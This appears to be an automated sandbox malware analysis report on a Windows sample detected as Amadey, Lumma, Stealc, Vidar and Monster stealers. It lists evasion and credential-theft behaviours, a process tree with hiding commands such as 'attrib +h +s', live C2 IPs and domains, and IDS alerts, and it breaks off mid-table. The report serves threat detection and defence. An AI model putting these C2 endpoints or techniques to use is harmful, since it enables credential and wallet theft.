Edit tour

Windows Analysis Report
random.exe.6.exe

Overview

General Information

Sample name:	random.exe.6.exe
Analysis ID:	1577334
MD5:	b6009d2baed73bc321b38ce9a13f875c
SHA1:	9759ef65ae6e3e50b9eaea5708babde594950014
SHA256:	cb304a468bb2bebd746c4bba2d3d8a78ba2877ac082191e409efc1c84a36354c
Tags:	18521511316185215113209bulletproofexeuser-abus3reports
Infos:

Detection

LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys Clipper DLL

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Monster Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Contains functionality to start a terminal service

Detected generic credential text file

Found evasive API chain (may stop execution after checking locale)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has a writeable .text section

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Switches to a custom stack to bypass stack traces

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Python Stealer

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file does not import any functions

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

random.exe.6.exe (PID: 2544 cmdline: "C:\Users\user\Desktop\random.exe.6.exe" MD5: B6009D2BAED73BC321B38CE9A13F875C)

axplong.exe (PID: 6504 cmdline: "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" MD5: B6009D2BAED73BC321B38CE9A13F875C)

axplong.exe (PID: 5832 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: B6009D2BAED73BC321B38CE9A13F875C)

axplong.exe (PID: 7416 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: B6009D2BAED73BC321B38CE9A13F875C)

stealc_default2.exe (PID: 5012 cmdline: "C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe" MD5: 68A99CF42959DC6406AF26E91D39F523)

legs.exe (PID: 7136 cmdline: "C:\Users\user\AppData\Local\Temp\1001527001\legs.exe" MD5: 75CF470500D65CE4411790E09E650806)

conhost.exe (PID: 6876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

legs.exe (PID: 7556 cmdline: "C:\Users\user\AppData\Local\Temp\1001527001\legs.exe" MD5: 75CF470500D65CE4411790E09E650806)

AllNew.exe (PID: 7600 cmdline: "C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe" MD5: C07E06E76DE584BCDDD59073A4161DBB)

Gxtuum.exe (PID: 7920 cmdline: "C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe" MD5: C07E06E76DE584BCDDD59073A4161DBB)

am209.exe (PID: 6848 cmdline: "C:\Users\user\AppData\Local\Temp\1004899001\am209.exe" MD5: CE27255F0EF33CE6304E54D171E6547C)

defnur.exe (PID: 7512 cmdline: "C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe" MD5: CE27255F0EF33CE6304E54D171E6547C)

v_dolg.exe (PID: 7976 cmdline: "C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe" MD5: 378706614B22957208E09FC84FCEECE8)

roblox.exe (PID: 6540 cmdline: "C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe" MD5: 6898EACE70E2DA82F257BC78CB081B2F)

conhost.exe (PID: 5580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

stub.exe (PID: 7288 cmdline: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe MD5: D09A400F60C7A298E884F90539E9C72F)

cmd.exe (PID: 2448 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 6308 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

WMIC.exe (PID: 1060 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 6284 cmdline: C:\Windows\system32\cmd.exe /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

tasklist.exe (PID: 2888 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 5140 cmdline: C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

goldddd123.exe (PID: 2432 cmdline: "C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe" MD5: 2D6F91549D53930821EA4CF0FBD54B29)

conhost.exe (PID: 6568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

goldddd123.exe (PID: 3200 cmdline: "C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe" MD5: 2D6F91549D53930821EA4CF0FBD54B29)

Gxtuum.exe (PID: 7892 cmdline: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe MD5: C07E06E76DE584BCDDD59073A4161DBB)

defnur.exe (PID: 7792 cmdline: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe MD5: CE27255F0EF33CE6304E54D171E6547C)

Gxtuum.exe (PID: 2620 cmdline: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe MD5: C07E06E76DE584BCDDD59073A4161DBB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.17/2fb6c2cc8dce150a.php"}

Threatname: LummaC

{"C2 url": ["discokeyus.lat", "crosshuaht.lat", "energyaffai.lat", "aspecteirs.lat", "necklacebudi.lat", "grannyejh.lat", "pancakedipyps.click", "sustainskelet.lat", "rapeflowwj.lat"], "Build id": "FATE99--dec"}

Threatname: Vidar

{"C2 url": "http://185.215.113.17/2fb6c2cc8dce150a.php", "Botnet": "default_valenciga"}

Threatname: Amadey

{"C2 url": "185.215.113.16/Jo89Ku7d/index.php", "Version": "4.41", "Install Folder": "44111dbc49", "Install File": "axplong.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\AllNew[1].exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\am209[1].exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\stealc_default2[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 6 entries

Memory Dumps

Source	Rule	Description	Author
00000020.00000003.3888248745.0000000001002000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.2278712224.0000000004760000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000000.2955827551.000000000064E000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000003.2279278004.0000000005090000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000003.2913732134.0000000004E30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000003.3888705845.0000000001002000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.2239646919.00000000050F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000003.3891018668.0000000001002000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000000.2955786116.0000000000631000.00000080.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000002.3298927508.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000002.3298927508.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000023.00000002.3744137456.00007FF68C28F000.00000002.00000001.01000000.00000016.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
00000023.00000002.3744137456.00007FF68C28F000.00000002.00000001.01000000.00000016.sdmp	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
00000023.00000002.3744137456.00007FF68C28F000.00000002.00000001.01000000.00000016.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000023.00000000.3487646263.00007FF68C28F000.00000002.00000001.01000000.00000016.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
00000023.00000000.3487646263.00007FF68C28F000.00000002.00000001.01000000.00000016.sdmp	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
00000023.00000000.3487646263.00007FF68C28F000.00000002.00000001.01000000.00000016.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: stealc_default2.exe PID: 5012	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: stealc_default2.exe PID: 5012	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: stealc_default2.exe PID: 5012	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: stealc_default2.exe PID: 5012	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: legs.exe PID: 7556	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: legs.exe PID: 7556	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: v_dolg.exe PID: 7976	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: v_dolg.exe PID: 7976	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: v_dolg.exe PID: 7976	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: roblox.exe PID: 6540	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
Process Memory Space: roblox.exe PID: 6540	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
Process Memory Space: roblox.exe PID: 6540	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: stub.exe PID: 7288	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 37 entries

Unpacked PEs

Source	Rule	Description	Author
40.2.Gxtuum.exe.cc0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
24.0.AllNew.exe.790000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
28.2.defnur.exe.de0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
28.0.defnur.exe.de0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
20.2.stealc_default2.exe.630000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
29.2.defnur.exe.de0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
29.0.defnur.exe.de0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
20.0.stealc_default2.exe.630000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
26.2.Gxtuum.exe.cc0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
24.2.AllNew.exe.790000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
25.2.Gxtuum.exe.cc0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
26.0.Gxtuum.exe.cc0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
27.0.am209.exe.890000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
40.0.Gxtuum.exe.cc0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
3.2.axplong.exe.690000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
25.0.Gxtuum.exe.cc0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
2.2.axplong.exe.690000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.random.exe.6.exe.aa0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
27.2.am209.exe.890000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
19.2.axplong.exe.690000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 15 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:00:18.399756+0100	2028371	3	Unknown Traffic	192.168.2.6	49937	104.21.23.76	443	TCP
2024-12-18T12:00:20.696042+0100	2028371	3	Unknown Traffic	192.168.2.6	49944	104.21.23.76	443	TCP
2024-12-18T12:00:23.322903+0100	2028371	3	Unknown Traffic	192.168.2.6	49953	104.21.23.76	443	TCP
2024-12-18T12:00:26.090241+0100	2028371	3	Unknown Traffic	192.168.2.6	49962	104.21.23.76	443	TCP
2024-12-18T12:00:31.316713+0100	2028371	3	Unknown Traffic	192.168.2.6	49978	104.21.23.76	443	TCP
2024-12-18T12:00:37.208825+0100	2028371	3	Unknown Traffic	192.168.2.6	49993	104.21.23.76	443	TCP
2024-12-18T12:00:46.806416+0100	2028371	3	Unknown Traffic	192.168.2.6	50017	104.21.23.76	443	TCP
2024-12-18T12:00:52.831657+0100	2028371	3	Unknown Traffic	192.168.2.6	50033	104.21.23.76	443	TCP
2024-12-18T12:01:04.222225+0100	2028371	3	Unknown Traffic	192.168.2.6	50044	104.21.32.1	443	TCP
2024-12-18T12:01:06.270208+0100	2028371	3	Unknown Traffic	192.168.2.6	50048	104.21.32.1	443	TCP
2024-12-18T12:01:23.370510+0100	2028371	3	Unknown Traffic	192.168.2.6	50068	23.55.153.106	443	TCP
2024-12-18T12:01:25.753340+0100	2028371	3	Unknown Traffic	192.168.2.6	50071	172.67.157.254	443	TCP
2024-12-18T12:01:30.241158+0100	2028371	3	Unknown Traffic	192.168.2.6	50078	172.67.157.254	443	TCP
2024-12-18T12:01:35.819215+0100	2028371	3	Unknown Traffic	192.168.2.6	50083	172.67.157.254	443	TCP
2024-12-18T12:01:38.694560+0100	2028371	3	Unknown Traffic	192.168.2.6	50087	172.67.157.254	443	TCP
2024-12-18T12:01:42.545922+0100	2028371	3	Unknown Traffic	192.168.2.6	50090	172.67.157.254	443	TCP
2024-12-18T12:01:45.699325+0100	2028371	3	Unknown Traffic	192.168.2.6	50094	172.67.157.254	443	TCP
2024-12-18T12:01:48.750293+0100	2028371	3	Unknown Traffic	192.168.2.6	50095	172.67.157.254	443	TCP
2024-12-18T12:01:52.596115+0100	2028371	3	Unknown Traffic	192.168.2.6	50099	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:00:19.445077+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49937	104.21.23.76	443	TCP
2024-12-18T12:00:21.505596+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49944	104.21.23.76	443	TCP
2024-12-18T12:01:05.830624+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50044	104.21.32.1	443	TCP
2024-12-18T12:01:27.799073+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50071	172.67.157.254	443	TCP
2024-12-18T12:01:34.064326+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50078	172.67.157.254	443	TCP
2024-12-18T12:01:54.586888+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50099	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:00:19.445077+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49937	104.21.23.76	443	TCP
2024-12-18T12:01:05.830624+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50044	104.21.32.1	443	TCP
2024-12-18T12:01:27.799073+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50071	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:00:21.505596+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49944	104.21.23.76	443	TCP
2024-12-18T12:01:34.064326+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50078	172.67.157.254	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (energyaffai .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:01:04.222225+0100	2058363	1	Domain Observed Used for C2 Detected	192.168.2.6	50044	104.21.32.1	443	TCP
2024-12-18T12:01:06.270208+0100	2058363	1	Domain Observed Used for C2 Detected	192.168.2.6	50048	104.21.32.1	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:00:09.472917+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49914	185.215.113.16	80	TCP
2024-12-18T12:00:13.695607+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49925	185.215.113.16	80	TCP
2024-12-18T12:00:18.726313+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49938	185.215.113.16	80	TCP
2024-12-18T12:00:22.517562+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49950	185.215.113.16	80	TCP
2024-12-18T12:00:33.359623+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49977	185.215.113.16	80	TCP
2024-12-18T12:00:53.568196+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50035	185.215.113.16	80	TCP
2024-12-18T12:00:58.103508+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50041	185.215.113.16	80	TCP
2024-12-18T12:01:08.847105+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50056	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:01:21.065005+0100	2057973	1	Domain Observed Used for C2 Detected	192.168.2.6	55630	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
